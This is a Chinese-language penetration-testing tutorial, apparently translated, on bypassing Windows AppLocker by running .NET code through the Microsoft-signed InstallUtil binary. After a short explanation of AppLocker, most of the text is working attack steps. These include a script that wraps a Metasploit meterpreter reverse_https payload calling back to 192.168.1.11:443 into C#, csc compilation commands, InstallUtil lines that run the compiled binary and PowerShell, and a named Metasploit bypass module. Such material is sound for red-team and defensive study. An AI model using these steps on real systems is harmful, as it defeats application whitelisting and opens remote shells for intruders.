0x001 介绍
什么是AppLocker?
AppLocker 是在 Windows Server 2008 R2 和 Windows 7 中推出,它将应用程序控制功能和软件限制原则的功能向前推进。AppLocker 包含的新功能和扩充功能可以让你根据档案的唯一识别建立规则来允许或拒绝应用程序执行,并制定哪些使用者或群组可以执行这样应用程序。
- 控制下列類型的應用程式:可執行檔 (.exe 和 .com) 指令碼 (.js、.ps1、.vbs、.cmd 和 .bat)、 Windows Installer 檔案(.mst、.msi 與 .msp) 和 DLL 檔案 (.dll、.ocx) 和已封裝應用程式和已封裝應用程式安裝程式 (appx)。
- 根據衍生自數位簽章的檔案屬性來定義規則,包括發行者、產品名稱、檔案名稱以及檔案版本。 例如,您可以根據發行者屬性建立會透過更新持續的規則,或您可以為特定版本的檔案建立規則。
- 指派規則給安全性群組或個別使用者。
- 建立規則例外。 例如,您可以建立一個規則,允許除了登錄編輯程式 (Regedit.exe) 之外的所有 Windows 處理程序都可以執行。
- 在強制執行原則之前,使用僅稽核模式部署原則並了解其影響。
- 匯入和匯出規則。 匯入和匯出會影響整個原則。 例如,如果您匯出某個原則,也會匯出所有規則集合中的所有規則,其中包括規則集合的強制設定。 如果您匯入原則,即會覆寫現有原則中的所有條件。
- 使用Windows PowerShell Cmdlet 簡化 AppLocker 規則的建立及管理。
什么是InstallUtil?
InstallUtil是一个命令行实用程序,是.NET Framework的一部分,允许用户通过命令提示符快速安装和卸载应用程序。由于这个实用程序是Microsoft签名的二进制文件,所以它可以用于运行任何.NET可执行文件,以这种方式绕过AppLocker限制。此外,实用程序位于Windows文件夹内,因为需要执行Windows文件夹的内容才能使系统正常运行,因此不会应用AppLocker策略。
这种技术是由Casey Smith发现的,除此之外,他还通过编写可以用来绕过AppLocker限制的C#代码做一些进一步的工作,以便通过InstallUtil二进制文件运行PowerShell 。
0x002 生成.NET可执行文件
InstallUtil可以运行以.NET语言编写的可执行文件。由khr0x40sh编写的python脚本, 它将MSFvenom生成的Metasploit有效载荷导入C#模板,并生成可用于通过InstallUtil逃避AppLocker的.NET二进制文件。
python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.1.11 --lport 443
生成C#有效负载
上面的命令将生成一个包含Metasploit ShellCode的C#模板。
ShellCode里面的C#文件
可以通过运行.NET框架的系统的csc二进制文件将C#文件编译为可执行文件。
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe pentestlab.cs
然后可以将包含恶意有效payload,可执行文件放在目标系统上。AppLocker通过Installutil防止被执行的文件,该文件正常执行并返回Meterpreter会话。
通过InstallUtil旁路AppLocker
0x003 Metasploit
有一个特定的Metasploit模块可以通过InstallUtil方法绕过AppLocker。
exploit/windows/local/applocker_bypass
该模块将在目标系统上生成一个.NET可执行文件,它将利用InstallUtil二进制文件执行绕过AppLocker保护的有效载荷。
0x004 PowerShell
在PowerShell受AppLocker环境的限制,Casey Smith进行了一些进一步的工作,并编写了可以与InstallUtil旁路技术结合使用的C#代码,以便运行PowerShell命令和脚本。
PowerShell被AppLocker阻止
可以使用csc二进制编译C#代码,以生成PowerShell可执行文件。
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\System.Management.Automation.dll /out:powershell.exe InstallUtil-PowerShell.cs
但是为了运行上述命令,它需要System.Management.Automation.dll ,可以在以下目录之一找到:
C:\Windows\winsxs\msil_system.management.automation_31bf3856ad364e35_6.1.7601.17514_none_236c706c3e9 3d144 C:\windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35
**AppLocker Bypass** - 编译**PowerShell**二进制文件
可以通过InstallUtil执行编译的PowerShell二进制文件,以便执行PowerShell命令。
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U powershell.exe
AppLocker Bypass – PowerShell版本
这个代码(https://gist.github.com/subTee/44f8b0f2700ff59adf6e)有一个改进,可以编译为.DLL,它可以使用可选参数来运行本地存储的PowerShell脚本。
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\System.Management.Automation.dll /out:pshell.dll C:\pshell.cs
AppLocker Bypass – 执行PowerShell命令
0x005 资源